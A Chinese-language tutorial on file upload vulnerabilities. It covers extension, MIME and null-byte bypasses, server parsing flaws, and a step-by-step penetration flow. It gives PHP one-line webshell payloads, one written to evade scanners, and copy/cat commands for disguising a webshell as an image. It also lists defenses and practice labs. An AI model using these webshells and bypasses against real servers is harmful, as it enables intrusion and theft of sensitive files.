一、学习文件上传漏洞

(一)漏洞原理

文件上传漏洞:网站允许用户上传图片、附件等文件,但未严格校验文件后缀、文件内容、文件路径,导致攻击者可上传可执行脚本(php/aspx/jsp/python 等),访问该文件后服务器执行恶意代码,拿下网站权限。

核心危害

  1. 上传 webshell,获取网站后台控制权
  2. 读取服务器敏感文件(数据库配置、账号密码)
  3. 提权拿下服务器、横向渗透内网
  4. 篡改页面、挂黑页、挖矿、植入木马

(二)上传校验常见方式(靶场必学)

1. 前端 JS 校验(最简单,可直接绕过)

逻辑:上传按钮点击时,JS 判断后缀是否为 jpg/png/gif,不合格直接拦截,后端无校验

绕过方法
  1. 抓包修改:先传合法图片抓包,改文件名为 shell.php 再发送
  2. 禁用浏览器 JS,直接上传脚本
  3. Burp Repeater 重放数据包

2. 后端黑名单校验(禁止 php、asp 等后缀)

只拦截危险后缀,容易多重后缀、特殊字符绕过

绕过手段
  1. 双后缀:shell.jpg.phpshell.png%00.php(00 截断)
  2. 特殊字符 Windows 兼容:shell.php (空格)、shell.php.(末尾点)、shell::$DATA
  3. 替换后缀:php3/php5/phtml/htaccess(服务器默认解析)
  4. 大小写混淆:Shell.PHP

3. 后端白名单校验(仅允许 jpg/png/gif,防御更强)

只允许指定图片后缀,单纯改文件名无效,需要文件头欺骗 + 图片马

绕过:图片马
  1. 制作图片马
# windows
copy 1.jpg /b + shell.php /a horse.jpg
# linux
cat 1.jpg shell.php > horse.jpg
  1. 文件头伪造:文件开头添加 GIF89a 骗过文件类型检测
  2. 配合解析漏洞访问图片马:如horse.jpg/.php、利用 nginx/apache 解析漏洞执行 php 代码

4. MIME 类型校验(Content-Type)

数据包Content-Type: image/jpeg校验绕过:抓包修改 Content-Type 为图片类型即可

5. 00 截断漏洞(低版本 PHP<5.3.4)

原理:文件名中%00代表字符串结束,服务器截断后面字符示例:shell.jpg%00.php,服务器保存为shell.jpg,访问.php时解析执行

6. 路径可控漏洞

上传路径由前端传参控制,可控文件名 / 路径Payload:

  • ../shell.php 目录穿越,上传到网站根目录
  • upload/../shell.php

(三)服务器解析漏洞(上传图片马后必须利用)

1. Nginx 解析漏洞

  1. 访问 xxx.jpg/.php:nginx 会把 jpg 当作 php 解析执行
  2. 文件名包含 %00、畸形后缀解析漏洞(旧版本)

2. Apache 解析规则

从后向前识别后缀:shell.php.xxx → 识别 php,执行代码配合.htaccess 自定义解析规则,把 jpg 当作 php 运行

3. IIS 解析漏洞

  • IIS6:xxx.asp;xx.jpg 分号截断,执行 asp
  • IIS7/7.5 类似 nginx 畸形路径解析漏洞

(四)Webshell 基础(上传核心目的)

PHP 一句话木马

<?php eval($_POST['cmd']); ?>

使用蚁剑 / 菜刀连接,密码 cmd,执行系统命令、文件管理

图片马隐藏写法(避免工具查杀)

<?php @eval($_POST['a']); ?>

(五)完整渗透测试流程(实操步骤)

  1. 寻找上传点:头像上传、文章附件、后台文件管理、留言图片
  2. 测试前端校验:禁用 JS 直接上传 php,判断是否仅前端过滤
  3. 抓包测试后缀黑名单:添加空格、点、双后缀、大小写
  4. 测试 MIME:修改 Content-Type 为 image/jpeg
  5. 白名单场景:制作图片马,添加 GIF 文件头上传
  6. 测试 00 截断(PHP 低版本环境)
  7. 路径穿越:尝试../ 跳转目录
  8. 上传成功后访问文件,若不执行代码,尝试解析漏洞路径访问
  9. 工具连接 webshell,控制服务器

(六)常见防御方案(修复漏洞)

  1. 后端强制白名单,只允许 jpg/png/gif,拒绝黑名单方案
  2. 重命名上传文件:随机字符串 + 固定图片后缀,消除可控文件名
  3. 文件存储与网站代码分离,上传目录禁止脚本执行权限
    • Apache:上传目录配置 php_flag engine off
    • Nginx:禁止上传目录解析 php
  4. 校验文件真实内容:读取文件头校验图片格式,不只用后缀判断
  5. 过滤特殊字符:%00、点、空格、分号、../ 等路径穿越字符
  6. 限制上传文件大小,查杀恶意脚本(杀毒引擎)
  7. 升级中间件、PHP 版本,修复解析、00 截断等历史漏洞

(七)本地实操靶场推荐(练习必备)

  1. DVWA(文件上传关卡,低 / 中 / 高难度分层学习)
  2. WebGoat、Upload-labs(专门文件上传 20 关,覆盖所有绕过方法)
  3. Pikachu 靶场
  4. BWAPP
Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐